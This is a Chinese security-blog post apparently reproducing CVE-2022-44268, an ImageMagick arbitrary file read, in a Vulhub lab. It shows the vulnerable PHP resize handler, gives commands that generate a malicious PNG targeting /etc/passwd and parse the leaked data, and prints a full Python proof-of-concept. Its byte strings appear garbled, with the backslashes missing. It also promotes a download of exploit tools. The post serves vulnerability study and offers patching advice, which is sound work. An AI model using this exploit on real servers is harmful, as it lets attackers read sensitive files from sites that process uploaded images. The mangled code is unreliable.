ImageMagick任意文件读取漏洞(CVE-2022-44268)

admin 2024年11月27日13:15:23评论30 views字数 2866阅读9分33秒阅读模式

遵纪守法

任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得危害网络安全,不得利用网络从事危害国家安全、荣誉和利益

漏洞描述

ImageMagick 中存在任意文件读取漏洞,攻击者可通过精心制作的 PNG 文件,当网站或应用使用 ImageMagick 对攻击者上传的恶意 PNG 文件进行解析时将触发此漏洞。最终可导致敏感信息泄露。

影响的范围很大,很多地方都有这个问题,这里复现学习一下。

漏洞环境

Vulhub直接起

https://github.com/vulhub/vulhub/tree/master/imagemagick/CVE-2022-44268

docker-compose up -d

访问

ImageMagick任意文件读取漏洞(CVE-2022-44268)

功能是将用户上传的任意图片缩小成50x50的PNG图片

$newname = uniqid() . '.png';
shell_exec("convert -resize 50x50 {$_FILES['file_upload']['tmp_name']} ./{$newname}");

漏洞复现

./poc.py generate -o poc.png -r /etc/passwd
ImageMagick任意文件读取漏洞(CVE-2022-44268)

将带有恶意代码的图片上传到目标站,目标站处理完成后,从网页上把图片下载下来

再使用poc.py提取出其中所有内容

./poc.py parse -i out.png
ImageMagick任意文件读取漏洞(CVE-2022-44268)

POC

https://github.com/vulhub/vulhub/blob/master/imagemagick/CVE-2022-44268/poc.py

#!/usr/bin/env python3
import sys
import png
import zlib
import argparse
import binascii
import logging

logging.basicConfig(stream=sys.stderr, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
d = zlib.decompressobj()
e = zlib.compressobj()
IHDR = b'x00x00x00nx00x00x00nx08x02x00x00x00'
IDAT = b'xx9cxbdxccxa1x11xc0 x0cFxe1xb4x03Dx91x8b`xffmx98x010x89x01xc5x00xfcxb8nx8eVxf6xd9'
b'xefxee])%zxefxfexb0x9fxb8xf7^J!xa2Zkkmxe7x10x02x80x9cxf3x9cSDx0esUx1dcxa8xeaax0exc0'
b'xccbx8cfx06`gwgfx11afwx7fxx01^K+F'


def parse_data(data: bytes) -> str:
_, data = data.strip().split(b'n', 1)
return binascii.unhexlify(data.replace(b'n', b'')).decode()


def read(filename: str):
if not filename:
logging.error('you must specify a input filename')
return

res = ''
p = png.Reader(filename=filename)
for k, v in p.chunks():
logging.info("chunk %s found, value = %r", k.decode(), v)
if k == b'zTXt':
name, data = v.split(b'x00', 1)
res = parse_data(d.decompress(data[1:]))

if res:
sys.stdout.write(res)
sys.stdout.flush()


def write(from_filename, to_filename, read_filename):
if not to_filename:
logging.error('you must specify a output filename')
return

with open(to_filename, 'wb') as f:
f.write(png.signature)
if from_filename:
p = png.Reader(filename=from_filename)
for k, v in p.chunks():
if k != b'IEND':
png.write_chunk(f, k, v)
else:
png.write_chunk(f, b'IHDR', IHDR)
png.write_chunk(f, b'IDAT', IDAT)

png.write_chunk(f, b"tEXt", b"profilex00" + read_filename.encode())
png.write_chunk(f, b'IEND', b'')


def main():
parser = argparse.ArgumentParser(description='POC for CVE-2022-44268')
parser.add_argument('action', type=str, choices=('generate', 'parse'))
parser.add_argument('-i', '--input', type=str, help='input filename')
parser.add_argument('-o', '--output', type=str, help='output filename')
parser.add_argument('-r', '--read', type=str, help='target file to read', default='/etc/passwd')
args = parser.parse_args()
if args.action == 'generate':
write(args.input, args.output, args.read)
elif args.action == 'parse':
read(args.input)
else:
logging.error("bad action")


if __name__ == '__main__':
main()

修复方案

目前官方已修复该漏洞,受影响用户可以升级更新到安全版本。

官方下载链接:

https://www.imagemagick.org/script/download.php

https://github.com/ImageMagick/ImageMagick/releases

另外关注公众号后台回复“框架RCE”可获取常见框架漏洞利用工具后台回复“pentest”获取常用渗透测试工具集。回复“apk11获取apk测试工具集。

关注公众号

下面就是团队的公众号啦,更新的文章都会在第一时间推送在公众号

66篇原创内容

原文始发于微信公众号(CKCsec安全研究院):ImageMagick任意文件读取漏洞(CVE-2022-44268)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月27日13:15:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ImageMagick任意文件读取漏洞(CVE-2022-44268)https://cn-sec.com/archives/1722700.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息